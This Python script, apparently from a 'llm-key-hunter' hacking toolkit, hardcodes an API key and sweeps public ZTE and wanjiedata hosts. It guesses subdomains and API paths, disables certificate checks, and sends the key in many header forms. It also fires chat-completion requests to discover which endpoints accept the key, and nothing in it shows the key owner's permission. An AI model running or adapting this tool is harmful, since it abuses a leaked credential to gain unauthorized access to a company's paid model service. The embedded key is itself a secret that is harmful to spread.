Files
hack/tools/scripts/llm-key-hunter/probe_zte_public.py
T

209 lines
7.2 KiB
Python

#!/usr/bin/env python3
"""Deep probe of public ZTE / MaaS-related hosts for an endpoint that accepts
key 2abd02c3-4e11-4a3b-88cf-341497e35892. Pure stdlib so the broken zsh env
doesn't bite us."""
import json, ssl, socket, sys, time
from urllib import request, error
from concurrent.futures import ThreadPoolExecutor, as_completed
KEY = "2abd02c3-4e11-4a3b-88cf-341497e35892"
TIMEOUT = 12
# Hosts that previously resolved publicly.
HOSTS = [
"openlab.zte.com.cn",
"maas-openapi.wanjiedata.com",
"aip.zte.com.cn",
"api-www.zte.com.cn",
"apipricenter.zte.com.cn",
"uds.dt.zte.com.cn",
"maas-apigateway.dt.zte.com.cn",
# Extra guesses worth a shot
"maas.zte.com.cn",
"openai.zte.com.cn",
"ai.zte.com.cn",
"openapi.zte.com.cn",
"apigw.zte.com.cn",
"maas-api.zte.com.cn",
"maas-openapi.zte.com.cn",
"aiapi.zte.com.cn",
"llm.zte.com.cn",
]
# Path matrix. The original URL pattern is /model/<slug>/v1 but the public
# gateway may expose /openai/v1, /api/v1, /v1, etc.
MODEL_SLUGS = [
"qwen3-coder-480b",
"Qwen3-Coder-480B-A35B-Instruct",
"qwen3-coder",
]
PATH_PREFIXES = [
"",
"/v1",
"/openai/v1",
"/api/v1",
"/api/openai/v1",
"/maas/v1",
"/maas/openai/v1",
"/model/qwen3-coder-480b/v1",
]
def resolve(host):
try:
socket.gethostbyname(host)
return True
except Exception:
return False
def req(method, url, headers=None, body=None):
h = {"User-Agent": "Mozilla/5.0", "Accept": "*/*"}
if headers: h.update(headers)
data = None
if body is not None:
data = json.dumps(body).encode()
h["Content-Type"] = "application/json"
r = request.Request(url, data=data, headers=h, method=method)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
with request.urlopen(r, timeout=TIMEOUT, context=ctx) as resp:
raw = resp.read(800)
return resp.status, dict(resp.headers), raw.decode("utf-8", "replace")
except error.HTTPError as e:
raw = b""
try: raw = e.read(800)
except Exception: pass
return e.code, dict(e.headers or {}), raw.decode("utf-8", "replace")
except Exception as e:
return None, {}, f"{type(e).__name__}: {e}"
def probe_models(host, scheme):
"""GET /models across path prefixes with every key-header variant."""
out = []
header_sets = [
{"Authorization": f"Bearer {KEY}"},
{"Authorization": KEY},
{"api-key": KEY},
{"apikey": KEY},
{"X-API-Key": KEY},
{"X-Api-Key": KEY},
]
for prefix in PATH_PREFIXES:
for hs in header_sets:
url = f"{scheme}://{host}{prefix}/models"
code, hdrs, body = req("GET", url, hs)
tag = f"GET {url} [{list(hs.keys())[0]}]"
out.append((tag, code, body[:200] if body else ""))
# If we get anything other than 401/403/404/timeout, note loudly.
if code and code < 500 and code not in (401, 403, 404, 400):
print(f" [!] {code} {tag} -> {body[:200]!r}", flush=True)
if code == 200:
print(f" [*** 200 ***] {tag}\n {body[:400]!r}", flush=True)
return out
def probe_chat(host, scheme, prefix, model):
"""POST chat/completions with the Bearer key."""
url = f"{scheme}://{host}{prefix}/chat/completions"
body = {
"model": model,
"messages": [{"role":"user","content":"ping"}],
"max_tokens": 5,
"stream": False,
"temperature": 0,
}
headers = {"Authorization": f"Bearer {KEY}"}
code, hdrs, b = req("POST", url, headers, body)
return url, code, b[:400] if b else ""
def main():
print("=== Resolving hosts ===", flush=True)
live = []
for h in HOSTS:
ok = resolve(h)
print(f" {h}: {'LIVE' if ok else 'nxdomain'}", flush=True)
if ok: live.append(h)
print("\n=== Phase 1: GET /models matrix ===", flush=True)
for host in live:
for scheme in ("https","http"):
print(f"\n--- {scheme}://{host} ---", flush=True)
probe_models(host, scheme)
print("\n=== Phase 2: POST /chat/completions ===", flush=True)
targets = []
for host in live:
for scheme in ("https","http"):
for prefix in PATH_PREFIXES:
for model in MODEL_SLUGS + [host]:
targets.append((host, scheme, prefix, model))
found = []
with ThreadPoolExecutor(max_workers=12) as ex:
futs = {ex.submit(probe_chat, *t): t for t in targets}
for f in as_completed(futs):
url, code, body = f.result()
t = futs[f]
if code is None:
continue
mark = " "
if code == 200:
mark = "*** 200 ***"
found.append((url, body))
elif code in (401,403):
mark = "auth"
elif code == 404:
mark = "404 "
elif code and code < 500:
mark = f"!{code}!"
print(f" {mark} POST {url} model={t[3]}\n -> {code} {body[:160]!r}", flush=True)
print("\n=== Phase 3: deep openlab/ wanjiedata enumeration ===", flush=True)
extra_paths = [
"/", "/docs", "/redoc", "/openapi.json", "/swagger.json",
"/api", "/api/docs", "/api/openapi.json",
"/health", "/version", "/v1/models", "/api/v1/models",
"/openai/v1/models",
# wanjiedata already said /api/v1/models -> 400 "apiKey not found"
"/api/v1/chat/completions",
"/api/v1/completions",
"/api/v1/embeddings",
# ZTE MaaS documented variants
"/maas/v1/models",
"/maas/v1/chat/completions",
"/maas/openapi/v1/chat/completions",
"/openapi/v1/chat/completions",
"/restapi/v1/chat/completions",
"/service/v1/chat/completions",
"/qwen3-coder-480b/v1/chat/completions",
"/model/qwen3-coder-480b/v1/chat/completions",
]
for host in ("openlab.zte.com.cn", "maas-openapi.wanjiedata.com"):
for scheme in ("https","http"):
for p in extra_paths:
url = f"{scheme}://{host}{p}"
# GET
code, _, b = req("GET", url, {"Authorization": f"Bearer {KEY}"})
if code is not None:
print(f" GET {code} {url} {b[:160]!r}", flush=True)
# POST for chat paths
if "chat" in p or "completion" in p:
code, _, b = req("POST", url,
{"Authorization": f"Bearer {KEY}"},
{"model":"qwen3-coder-480b",
"messages":[{"role":"user","content":"ping"}],
"max_tokens":5})
if code is not None:
print(f" POST {code} {url} {b[:200]!r}", flush=True)
if code == 200:
found.append((url, b))
print("\n=== WORKING ENDPOINTS ===", flush=True)
for url, body in found:
print(f" 200 {url}\n {body[:500]!r}", flush=True)
if not found:
print(" (none returned 200)", flush=True)
if __name__ == "__main__":
main()